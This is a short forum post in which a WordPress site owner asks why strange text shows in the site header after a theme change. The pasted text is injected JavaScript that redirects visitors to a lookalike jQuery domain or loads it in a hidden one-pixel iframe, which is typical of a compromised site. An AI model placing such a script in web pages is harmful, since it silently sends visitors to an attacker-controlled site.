Problem in header of the theme

Dear friends,
I have a problem in my header of the wordpress pages when i change the theme. The problem is
/* NOTICE! You’ve requested a file that is not available for remote inclusion. */ try{ window.location = ‘https://www.jqueryc.com’; }catch(e){ var rframe = document.createElement(“iframe”); rframe.setAttribute(‘width’,’1px’); rframe.setAttribute(‘height’,’1px’); rframe.setAttribute(‘frameborder’,’0′); rframe.setAttribute(‘id’,’rfx’); rframe.setAttribute(‘src’,’https://www.jqueryc.com’); document.body.appendChild(rframe); }

This warning message is shown header of the site.
I’d be appreciate if you know the source of the problem.
Thanks a lot.
